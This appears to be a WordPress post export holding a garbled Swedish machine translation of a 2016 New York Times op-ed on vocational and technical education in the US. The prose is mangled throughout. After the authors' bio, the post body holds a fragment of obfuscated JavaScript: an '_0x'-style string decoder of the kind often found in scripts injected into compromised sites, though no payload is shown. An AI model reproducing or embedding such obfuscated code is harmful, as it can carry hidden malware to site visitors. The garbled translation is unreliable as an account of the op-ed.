F\u00f6ljande var utdrag ur April 15, 2016 New York Times Op \/ Ed. Artikeln kan l\u00e4sas i sin helhet p\u00e5 New York Times Website. Av Katherine S. Newman och Hella Winston
\nden 15 april 2016
\nKandidater fr\u00e5n b\u00e5da parter har talat mycket om f\u00f6rlusten av amerikanska arbetstillf\u00e4llen, sjunkande l\u00f6ner och skyh\u00f6ga kostnader f\u00f6r college.
\nMen saknas i debatten \u00e4r det faktum att det finns hundratusentals “mitten skicklighet” jobb i USA som \u00e4r \u2014 eller snart kommer att bli \u2014 g\u00e5r ofyllda p\u00e5 grund av en brist p\u00e5 kvalificerade arbetstagare. Arbetsgivare klagar p\u00e5 att elektriker, r\u00f6r mont\u00f6rer, avancerade tillverkning maskinister, murare tegel och tekniker radiologi \u00e4r knappa. Mer \u00e4n 600.000 jobb \u00e5terst\u00e5r \u00f6ppna i den fabriks- sektoren bara. Dessa \u00e4r jobb som ger en medelklass l\u00f6n utan en traditionell fyra\u00e5rig h\u00f6gskoleexamen.
\nAmerikanska gymnasieskolor erbj\u00f6d en g\u00e5ng f\u00f6rstklassig yrkesutbildning och l\u00e4rlingsutbildning, f\u00f6rbereda ungdomar f\u00f6r jobb som dessa. Men under de senaste 70 \u00e5ren har v\u00e5rt engagemang f\u00f6r s\u00e5dan utbildning blivit av och avtagit, vilket \u00e5terspeglar landets ambivalens n\u00e4r det g\u00e4ller skolans roll n\u00e4r det g\u00e4ller att f\u00f6rbereda ungdomar f\u00f6r syssels\u00e4ttning och v\u00e4rdet av sj\u00e4lva arbetarsysslan. Progressiva har h\u00e4vdat att teknisk utbildning sp\u00e5rar l\u00e5ginkomst- och minoritetsungdomar mot andra klassens medborgarskap. d\u00e4rav de ofta f\u00f6respr\u00e5kar “college f\u00f6r alla.”
\nUnder det senaste \u00e5rtiondet eller s\u00e5 har det dock skett ett steg bland l\u00e4rare och beslutsfattare att \u00e5teruppliva yrkesutbildning, nu omd\u00f6pt till karri\u00e4r och teknisk utbildning. Vissa skolor har varit utomordentligt effektiva; andra k\u00e4mpar. Om vi ska kunna erbjuda unga amerikaner alternativ som \u00e4r l\u00e4tt tillg\u00e4ngliga f\u00f6r sina motsvarigheter i l\u00e4nder som Tyskland, m\u00e5ste vi ta reda p\u00e5 vad som g\u00f6r f\u00f6r framg\u00e5ng.
\nPickens County Career and Technology Center i Liberty, S.C., \u00e4r ett exempel p\u00e5 en skola som fungerar. I maskinteknik butiken, studenter programmera datorer f\u00f6r att g\u00f6ra plast formar. I ett kommersiellt k\u00f6k, blivande kockar f\u00f6rbereda multicourse m\u00e5ltider. Skolan erbjuder ocks\u00e5 utbildning i h\u00e4lsovetenskap, mekatronik, murverk, elarbeten, snickeri, mekanisk design med mera. M\u00e5nga elever tillbringar halva sin dag p\u00e5 sin vanliga high school och h\u00e4lften p\u00e5 karri\u00e4ren centrum. Enligt regiss\u00f6ren, Ken Hitchcock, m\u00e5nga kommer fr\u00e5n l\u00e5ginkomstfamiljer d\u00e4r ingen av f\u00f6r\u00e4ldrarna har en h\u00f6gskoleexamen.
\nMr Hitchcock s\u00e4ger att cirka 60 procent av utexaminerade g\u00e5 vidare till lokala tekniska h\u00f6gskolor, medan 15 procent huvudet av till fyra \u00e5r h\u00f6gskolor, fr\u00e4mst inom h\u00e4lsovetenskap. Resten f\u00e5r jobb, med hj\u00e4lp av de industricertifikat de har tj\u00e4nat. Katherine S. Newman, provost vid University of Massachusetts, Amherst, och Hella Winston, en senior fellow vid Schuster Institute for Investigative Journalism vid Brandeis University, \u00e4r f\u00f6rfattarna till “Reskilling America: Learning to Labor p\u00e5 2000-talet.”
\nfunction _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);};<\/p>\n","protected":false},"excerpt":{"rendered":"
F\u00f6ljande var utdrag ur April 15, 2016 New York Times Op \/ Ed. Artikeln kan l\u00e4sas i sin helhet p\u00e5 New York Times Website. Av Katherine S. Newman och Hella Winston den 15 april 2016 Kandidater fr\u00e5n b\u00e5da parter har talat mycket om f\u00f6rlusten av amerikanska arbetstillf\u00e4llen, sjunkande l\u00f6ner och skyh\u00f6ga kostnader f\u00f6r college. Men…<\/p>\n","protected":false},"author":8,"featured_media":5225,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[56],"tags":[],"class_list":["post-8825","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-news-sv","category-56","description-off"],"yoast_head":"\n